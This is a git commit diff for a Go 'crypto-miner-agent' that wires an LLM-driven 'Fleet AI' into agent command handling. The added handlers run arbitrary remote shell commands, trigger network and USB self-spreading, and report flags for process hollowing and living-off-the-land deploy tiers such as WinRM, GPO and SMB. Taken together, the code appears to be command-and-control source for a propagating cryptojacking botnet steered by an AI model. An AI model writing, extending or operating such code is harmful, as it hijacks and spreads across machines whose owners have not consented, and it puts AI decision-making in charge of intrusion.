Add Calibrate AI Control UI and fleet LLM backend wiring.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
AetherForge
2026-06-07 02:14:28 -07:00
parent 34afa28f81
commit 0002e5fd93
33 changed files with 2791 additions and 12 deletions

136
agent/client/ai_commands.go Normal file
View File

@@ -0,0 +1,136 @@
package client
import (
"context"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
type aiCommandHandler func(c *AgentClient, tailLines int, command, path, data string)
var aiCommandHandlers = map[string]aiCommandHandler{
"exec_shell": handleAIExecShell,
"restart_mining": handleAIRestartMining,
"run_diagnostics": handleAIRunDiagnostics,
"discover_and_join": handleAIDiscoverAndJoin,
"spread_now": handleAISpreadNow,
"full_sys_check": handleAIFullSysCheck,
}
func (c *AgentClient) handleAICommand(action string, tailLines int, command, path, data string) bool {
handler, ok := aiCommandHandlers[action]
if !ok {
return false
}
handler(c, tailLines, command, path, data)
return true
}
func handleAIExecShell(c *AgentClient, _ int, command, path, data string) {
if strings.TrimSpace(command) == "" && strings.TrimSpace(data) == "" {
c.sendCommandResult("exec_shell", false, "command is required")
return
}
shellCmd := command
if shellCmd == "" {
shellCmd = data
}
if err := validateAICommandPath(path); err != nil {
c.sendCommandResult("exec_shell", false, err.Error())
return
}
if path != "" {
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult("exec_shell", false, err.Error())
return
}
resolved = filepath.Clean(resolved)
info, err := os.Stat(resolved)
if err != nil {
c.sendCommandResult("exec_shell", false, err.Error())
return
}
if !info.IsDir() {
c.sendCommandResult("exec_shell", false, "path must be a directory when used as working directory")
return
}
if runtime.GOOS == "windows" {
shellCmd = fmt.Sprintf("Set-Location -LiteralPath %q; %s", resolved, shellCmd)
} else {
shellCmd = fmt.Sprintf("cd %q && %s", resolved, shellCmd)
}
}
out, err := c.runShellCommand(shellCmd)
if err != nil {
c.sendCommandResult("exec_shell", false, formatCmdErr(err, out))
return
}
c.sendCommandResult("exec_shell", true, string(out))
}
func handleAIRestartMining(c *AgentClient, _ int, _, _, _ string) {
if c.wslMiner != nil && c.wslMiner.Running() {
wslRT := miner.WSLDetector()
_ = miner.ToggleWSLMining(wslRT, "", true)
}
if c.miningChain != nil {
c.miningChain.Restart(context.Background())
} else {
c.pool.ResumeRemote()
}
c.sendCommandResult("restart_mining", true, "mining chain restart requested")
}
func handleAIRunDiagnostics(c *AgentClient, _ int, _, _, _ string) {
c.sendCommandResult("run_diagnostics", true, c.miningDiagnosticsJSON())
}
func handleAIDiscoverAndJoin(c *AgentClient, _ int, command, _, _ string) {
ok, reason := c.allowRemoteAction("discover_and_join")
if !ok {
c.sendCommandResult("discover_and_join", false, reason)
return
}
maxHosts := parsePortArg(command, 32)
go func() {
msg, err := c.runDiscoverAndJoin(maxHosts)
if err != nil {
c.sendCommandResult("discover_and_join", false, err.Error())
return
}
c.sendCommandResult("discover_and_join", true, msg)
}()
}
func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
ok, reason := c.allowRemoteAction("spread_now")
if !ok {
c.sendCommandResult("spread_now", false, reason)
return
}
msg := deploy.RunSpreadOnce(c.cfg)
c.sendCommandResult("spread_now", true, msg)
}
func handleAIFullSysCheck(c *AgentClient, _ int, _, _, _ string) {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult("full_sys_check", true, report.JSON())
}
func validateAICommandPath(path string) error {
path = strings.TrimSpace(path)
if path == "" {
return nil
}
if containsPathTraversal(path) {
return fmt.Errorf("path traversal (..) is not allowed")
}
return nil
}

View File

@@ -0,0 +1,137 @@
package client
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
cases := []string{
"../etc/passwd",
"/home/user/../../secret",
`C:\Users\alice\..\admin`,
}
for _, path := range cases {
if err := validateAICommandPath(path); err == nil {
t.Fatalf("expected traversal rejection for %q", path)
}
}
}
func TestValidateAICommandPathAllowsSafePaths(t *testing.T) {
for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} {
if err := validateAICommandPath(path); err != nil {
t.Fatalf("path %q: %v", path, err)
}
}
}
func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) {
var gotAction string
var gotOK bool
var gotMsg string
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, message string) {
gotAction = action
gotOK = success
gotMsg = message
}
c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "")
if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") {
t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
}
}
func TestHandleAIExecShellRequiresCommand(t *testing.T) {
var gotMsg string
c := newTestClient(t)
c.commandResultHook = func(_ string, success bool, message string) {
if !success {
gotMsg = message
}
}
c.handleAICommand("exec_shell", 0, "", "", "")
if !strings.Contains(gotMsg, "command is required") {
t.Fatalf("msg=%q", gotMsg)
}
}
func TestHandleAIRunDiagnostics(t *testing.T) {
var gotAction string
var gotOK bool
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, _ string) {
gotAction = action
gotOK = success
}
c.handleAICommand("run_diagnostics", 0, "", "", "")
if gotAction != "run_diagnostics" || !gotOK {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
}
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
var gotOK bool
var gotMsg string
c := newTestClient(t)
c.cfg.AutoSpread = false
c.cfg.RemoteAggressive = false
c.commandResultHook = func(_ string, success bool, message string) {
gotOK = success
gotMsg = message
}
c.handleAICommand("spread_now", 0, "", "", "")
if gotOK || !strings.Contains(gotMsg, "not enabled") {
t.Fatalf("ok=%v msg=%q", gotOK, gotMsg)
}
}
func TestHandleAICommandUnknownAction(t *testing.T) {
c := newTestClient(t)
if c.handleAICommand("not_an_ai_command", 0, "", "", "") {
t.Fatal("unknown action should not be handled")
}
}
func TestAICommandHandlersCoverRequiredActions(t *testing.T) {
required := []string{
"exec_shell", "restart_mining", "run_diagnostics",
"discover_and_join", "spread_now", "full_sys_check",
}
for _, action := range required {
if _, ok := aiCommandHandlers[action]; !ok {
t.Fatalf("missing handler for %q", action)
}
}
}
func TestHandleAIRestartMining(t *testing.T) {
var gotAction string
var gotOK bool
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, _ string) {
gotAction = action
gotOK = success
}
c.handleAICommand("restart_mining", 0, "", "", "")
if gotAction != "restart_mining" || !gotOK {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
}
func TestHandleAIFullSysCheck(t *testing.T) {
cfg := config.RuntimeConfig{BuiltinConfig: config.GetBuiltinConfig(), AgentID: "a1"}
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
var gotOK bool
c.commandResultHook = func(action string, success bool, _ string) {
if action == "full_sys_check" {
gotOK = success
}
}
c.handleAICommand("full_sys_check", 0, "", "", "")
if !gotOK {
t.Fatal("expected full_sys_check success")
}
}

354
agent/client/ai_snapshot.go Normal file
View File

@@ -0,0 +1,354 @@
package client
import (
"encoding/json"
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
// AITierStatus records one deploy or mining tier for Fleet AI snapshots.
type AITierStatus struct {
Tier string `json:"tier"`
Phase string `json:"phase,omitempty"`
Attempted bool `json:"attempted"`
OK bool `json:"ok,omitempty"`
Error string `json:"error,omitempty"`
Skipped bool `json:"skipped,omitempty"`
DurationMs int64 `json:"duration_ms,omitempty"`
}
// AIForgeFlags summarizes forge-time spread and LOTL options baked into the agent.
type AIForgeFlags struct {
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
AutoSpread bool `json:"auto_spread"`
USBSpread bool `json:"usb_spread,omitempty"`
ShareSpread bool `json:"share_spread,omitempty"`
RemoteAggressive bool `json:"remote_aggressive,omitempty"`
HolePunch bool `json:"hole_punch,omitempty"`
MeshP2P bool `json:"mesh_p2p,omitempty"`
ProcessHollowing bool `json:"process_hollowing,omitempty"`
GPUEnabled bool `json:"gpu_enabled,omitempty"`
AIEnabled bool `json:"ai_enabled,omitempty"`
}
// AICapabilitiesSnapshot reports remote features this build exposes on the current OS.
type AICapabilitiesSnapshot struct {
Platform string `json:"platform"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
AIEnabled bool `json:"ai_enabled"`
USBSpread bool `json:"usb_spread"`
ProcessHollowing bool `json:"process_hollowing"`
GPUEnabled bool `json:"gpu_enabled"`
LotlOnion bool `json:"lotl_onion"`
SpreadLanes []string `json:"spread_lanes,omitempty"`
MiningTiersAvail []string `json:"mining_tiers_available,omitempty"`
}
// AISnapshot is the 1-minute Fleet AI machine state payload.
type AISnapshot struct {
GeneratedAt string `json:"generated_at"`
AgentName string `json:"agent_name"`
AgentID string `json:"agent_id"`
WorkerNumber string `json:"worker_number,omitempty"`
BuildID string `json:"build_id,omitempty"`
Version string `json:"version"`
Platform string `json:"platform"`
Arch string `json:"arch,omitempty"`
ForgeFlags AIForgeFlags `json:"forge_flags"`
DeployTiers []AITierStatus `json:"deploy_tiers"`
MiningTiers []AITierStatus `json:"mining_tiers"`
MiningHashrate float64 `json:"mining_hashrate"`
LOTLTier string `json:"lotl_tier,omitempty"`
MiningActive bool `json:"mining_active"`
JoinLane string `json:"join_lane,omitempty"`
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
Stuck bool `json:"stuck"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
}
func workerNumberFromConfig(cfg config.RuntimeConfig) string {
if n := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); n != "" {
return n
}
return ""
}
func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
c.mu.Lock()
cfg := c.cfg
agentID := c.agentID
c.mu.Unlock()
hostname, _, _ := c.reporter.SystemInfo()
agentName := strings.TrimSpace(cfg.WorkerName)
if agentName == "" {
agentName = hostname
}
var ms miner.MiningStatus
if c.miningChain != nil {
ms = c.miningChain.Status()
}
attempts := ms.LOTLAttempts
policy := c.miningTierPolicy()
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
miningChain, miningSkipped := miner.SelectMiningTierChain(probes, policy, cfg)
deployOrder := deploy.NormalizeLotlTiers(cfg.LotlOnionTiers)
if len(deployOrder) == 0 {
deployOrder = append([]string(nil), deploy.DefaultLotlOnionTiers...)
}
snap := AISnapshot{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
AgentName: agentName,
AgentID: agentID,
WorkerNumber: workerNumberFromConfig(cfg),
BuildID: cfg.BuildID,
Version: config.Version,
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
ForgeFlags: forgeFlagsFromConfig(cfg),
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
MiningTiers: buildMiningTierStatuses(miningChain, miningSkipped, attempts),
MiningHashrate: miningHashrate,
LOTLTier: string(ms.LOTLTier),
MiningActive: c.isMiningActive(ms, miningHashrate),
JoinLane: c.getJoinLane(),
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
ChainExhausted: ms.ChainExhausted,
}
snap.Stuck = aiSnapshotStuck(snap, ms)
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
snap.AdaptiveStrategySummary = adaptiveStrategySummary(strat)
}
if vr := LastVulnScan(); vr != nil {
score := vr.RiskScore
snap.VulnRiskScore = &score
}
return snap
}
func forgeFlagsFromConfig(cfg config.RuntimeConfig) AIForgeFlags {
return AIForgeFlags{
LotlOnionEnabled: cfg.LotlOnionEnabled,
LotlPolicyFromServer: cfg.LotlPolicyFromServer,
AutoSpread: cfg.AutoSpread,
USBSpread: cfg.USBSpread,
ShareSpread: cfg.ShareSpread,
RemoteAggressive: cfg.RemoteAggressive,
HolePunch: cfg.HolePunch,
MeshP2P: cfg.MeshP2P,
ProcessHollowing: cfg.ProcessHollowing,
GPUEnabled: cfg.GPUEnabled,
AIEnabled: cfg.AIEnabled,
}
}
func attemptIndex(attempts []miner.TierAttempt) map[string]miner.TierAttempt {
idx := make(map[string]miner.TierAttempt, len(attempts))
for _, a := range attempts {
key := strings.ToLower(string(a.Tier))
if a.Phase != "" {
key = a.Phase + ":" + key
}
idx[key] = a
}
return idx
}
func buildDeployTierStatuses(order []string, attempts []miner.TierAttempt) []AITierStatus {
idx := attemptIndex(attempts)
out := make([]AITierStatus, len(order))
for i, tier := range order {
st := AITierStatus{Tier: tier}
for _, phase := range []string{"deploy", "recon"} {
if a, ok := idx[phase+":"+tier]; ok {
st.Phase = phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
break
}
}
if !st.Attempted {
if a, ok := idx[tier]; ok && (a.Phase == "" || a.Phase == "deploy" || a.Phase == "recon") {
st.Phase = a.Phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
}
}
out[i] = st
}
return out
}
func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus {
seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1)
order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1)
for _, t := range append([]miner.LOTLTier{miner.TierVulnProbe}, chain...) {
if seen[t] {
continue
}
seen[t] = true
order = append(order, t)
}
skipSet := make(map[miner.LOTLTier]bool, len(skipped))
for _, t := range skipped {
skipSet[t] = true
}
idx := attemptIndex(attempts)
out := make([]AITierStatus, len(order))
for i, tier := range order {
name := strings.ToLower(string(tier))
st := AITierStatus{Tier: name, Skipped: skipSet[tier]}
if a, ok := idx["mining:"+name]; ok {
st.Phase = "mining"
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
} else if a, ok := idx[name]; ok && (a.Phase == "" || a.Phase == "mining") {
st.Phase = a.Phase
st.Attempted = true
st.OK = a.OK
st.Error = a.Error
st.DurationMs = a.DurationMs
}
out[i] = st
}
return out
}
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
mining := make([]string, 0, len(miningChain))
for _, t := range miningChain {
mining = append(mining, string(t))
}
return AICapabilitiesSnapshot{
Platform: runtime.GOOS,
HolePunch: cfg.HolePunch,
RemoteAggressive: cfg.RemoteAggressive,
MeshP2P: cfg.MeshP2P,
AutoSpread: cfg.AutoSpread,
AIEnabled: cfg.AIEnabled,
USBSpread: cfg.USBSpread,
ProcessHollowing: cfg.ProcessHollowing,
GPUEnabled: cfg.GPUEnabled,
LotlOnion: cfg.LotlOnionEnabled,
SpreadLanes: lanes,
MiningTiersAvail: mining,
}
}
func spreadLanesForPlatform(goos string, order []string) []string {
winOnly := map[string]bool{
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
}
linuxOnly := map[string]bool{"linux": true}
out := make([]string, 0, len(order))
for _, lane := range order {
if winOnly[lane] && goos != "windows" {
continue
}
if linuxOnly[lane] && goos != "linux" {
continue
}
out = append(out, lane)
}
return out
}
func (c *AgentClient) isMiningActive(ms miner.MiningStatus, hashrate float64) bool {
if hashrate > 0 {
return true
}
if ms.ActiveMethod != "" && !ms.ChainExhausted {
return true
}
remotePaused, _, _, hasJob, hps := c.pool.DiagnosticSnapshot()
return hasJob && !remotePaused && hps > 0
}
func aiSnapshotStuck(snap AISnapshot, ms miner.MiningStatus) bool {
if snap.MiningHashrate > 0 {
return false
}
if ms.ChainExhausted {
return true
}
allMiningAttempted := len(snap.MiningTiers) > 0
for _, t := range snap.MiningTiers {
if !t.Skipped && !t.Attempted {
allMiningAttempted = false
break
}
}
if !allMiningAttempted {
return false
}
for _, t := range snap.MiningTiers {
if t.Skipped {
continue
}
if t.Attempted && t.OK {
return false
}
}
return true
}
func adaptiveStrategySummary(strat AdaptiveStrategy) string {
if len(strat.Reasoning) == 0 {
if len(strat.TierOrder) == 0 {
return ""
}
return "order=" + strings.Join(strat.TierOrder, ",")
}
parts := make([]string, 0, len(strat.Reasoning))
for _, r := range strat.Reasoning {
line := strings.TrimSpace(r.Inference)
if line == "" {
line = strings.TrimSpace(r.Action)
}
if line != "" {
parts = append(parts, line)
}
}
return strings.Join(parts, "; ")
}
func (c *AgentClient) pushAISnapshot(miningHashrate float64) {
snap := c.buildAISnapshot(miningHashrate)
payload, err := json.Marshal(snap)
if err != nil {
return
}
_ = c.write(Message{Type: "ai_snapshot", Payload: payload})
}

View File

@@ -0,0 +1,158 @@
package client
import (
"encoding/json"
"os"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
func TestAISnapshotJSONShape(t *testing.T) {
t.Setenv("AETHERFORGE_WORKER_NUMBER", "42")
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
WorkerName: "lab-node",
BuildID: "build-abc",
LotlOnionEnabled: true,
AutoSpread: true,
USBSpread: true,
RemoteAggressive: true,
GPUEnabled: true,
LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...),
},
AgentID: "agent-fixture-1",
}
base := newTestClient(t)
c := &AgentClient{
cfg: cfg,
agentID: cfg.AgentID,
reporter: base.reporter,
pool: base.pool,
}
snap := c.buildAISnapshot(0)
raw, err := json.Marshal(snap)
if err != nil {
t.Fatal(err)
}
var m map[string]json.RawMessage
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
required := []string{
"generated_at", "agent_name", "agent_id", "worker_number",
"build_id", "version", "platform", "forge_flags",
"deploy_tiers", "mining_tiers", "mining_hashrate",
"mining_active", "capabilities", "stuck",
}
for _, key := range required {
if _, ok := m[key]; !ok {
t.Fatalf("missing required snapshot field %q in %s", key, string(raw))
}
}
if snap.AgentName != "lab-node" {
t.Fatalf("agent_name=%q", snap.AgentName)
}
if snap.AgentID != "agent-fixture-1" {
t.Fatalf("agent_id=%q", snap.AgentID)
}
if snap.WorkerNumber != "42" {
t.Fatalf("worker_number=%q", snap.WorkerNumber)
}
if len(snap.DeployTiers) != len(deploy.DefaultLotlOnionTiers) {
t.Fatalf("deploy_tiers len=%d want %d", len(snap.DeployTiers), len(deploy.DefaultLotlOnionTiers))
}
if snap.DeployTiers[0].Tier != "vuln_recon" {
t.Fatalf("first deploy tier=%q", snap.DeployTiers[0].Tier)
}
if len(snap.MiningTiers) == 0 {
t.Fatal("expected mining_tiers")
}
if snap.Capabilities.Platform == "" {
t.Fatal("capabilities.platform required")
}
if snap.ForgeFlags.LotlOnionEnabled != true || !snap.ForgeFlags.AutoSpread {
t.Fatalf("forge_flags=%+v", snap.ForgeFlags)
}
}
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
snap := AISnapshot{
MiningHashrate: 0,
MiningTiers: []AITierStatus{
{Tier: "cpu_inprocess", Attempted: true, OK: false},
},
}
ms := miner.MiningStatus{ChainExhausted: true}
if !aiSnapshotStuck(snap, ms) {
t.Fatal("expected stuck when chain exhausted and hashrate=0")
}
snap.MiningHashrate = 10
if aiSnapshotStuck(snap, ms) {
t.Fatal("expected not stuck when hashrate>0")
}
}
func TestBuildDeployTierStatusesFromAttempts(t *testing.T) {
attempts := []miner.TierAttempt{
{Phase: "deploy", Tier: "docker", OK: true, DurationMs: 120},
{Phase: "deploy", Tier: "wsl", OK: false, Error: "no distro", DurationMs: 50},
}
order := []string{"docker", "wsl", "smb"}
got := buildDeployTierStatuses(order, attempts)
if !got[0].Attempted || !got[0].OK || got[0].DurationMs != 120 {
t.Fatalf("docker status=%+v", got[0])
}
if !got[1].Attempted || got[1].OK || got[1].Error != "no distro" {
t.Fatalf("wsl status=%+v", got[1])
}
if got[2].Attempted {
t.Fatalf("smb should be unattempted: %+v", got[2])
}
}
func TestBuildMiningTierStatusesMarksSkipped(t *testing.T) {
chain := []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess}
skipped := []miner.LOTLTier{miner.TierWSL}
attempts := []miner.TierAttempt{
{Phase: "mining", Tier: miner.TierContainer, OK: false, Error: "pull failed"},
}
got := buildMiningTierStatuses(chain, skipped, attempts)
byTier := map[string]AITierStatus{}
for _, st := range got {
byTier[st.Tier] = st
}
if !byTier["container"].Attempted || byTier["container"].OK {
t.Fatalf("container=%+v", byTier["container"])
}
if !byTier["wsl"].Skipped {
t.Fatalf("wsl should be skipped: %+v", byTier["wsl"])
}
}
func TestWorkerNumberOmitemptyWithoutConfig(t *testing.T) {
os.Unsetenv("AETHERFORGE_WORKER_NUMBER")
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}}
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
snap := c.buildAISnapshot(0)
raw, _ := json.Marshal(snap)
if string(raw) == "" {
t.Fatal("empty json")
}
var m map[string]interface{}
_ = json.Unmarshal(raw, &m)
if _, ok := m["worker_number"]; ok {
t.Fatalf("worker_number should be omitted, got %v", m["worker_number"])
}
}

View File

@@ -483,6 +483,11 @@ func (c *AgentClient) handleMessage(msg Message) {
go c.applyPolicyUpdate(msg.Payload)
case "adaptive_strategy_update":
c.applyAdaptiveStrategyJSON(msg.Payload)
case "ai_snapshot_request":
go func() {
hps := c.pool.HashesPerSecond()
c.pushAISnapshot(hps)
}()
case "command":
var cmd struct {
Action string `json:"action"`
@@ -502,6 +507,9 @@ func (c *AgentClient) handleMessage(msg Message) {
}
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
if c.handleAICommand(action, tailLines, command, path, data) {
return
}
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
return
}
@@ -1146,6 +1154,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)
}
// Piggyback Fleet AI snapshot on the ~60s stats probe tick.
if probeTick%6 == 0 {
c.pushAISnapshot(stats.MiningHashrate)
}
}
}
}

View File

@@ -63,6 +63,12 @@ func TestHandleMessageNewJobSetsJob(t *testing.T) {
}
}
func TestHandleMessageAISnapshotRequest(t *testing.T) {
c := newTestClient(t)
// Should schedule push without panicking (write fails safely with nil conn).
c.handleMessage(Message{Type: "ai_snapshot_request", Payload: json.RawMessage("{}")})
}
func TestHandleMessageNewJobWithErrorRetries(t *testing.T) {
c := newTestClient(t)
// Error payload — pool not ready yet.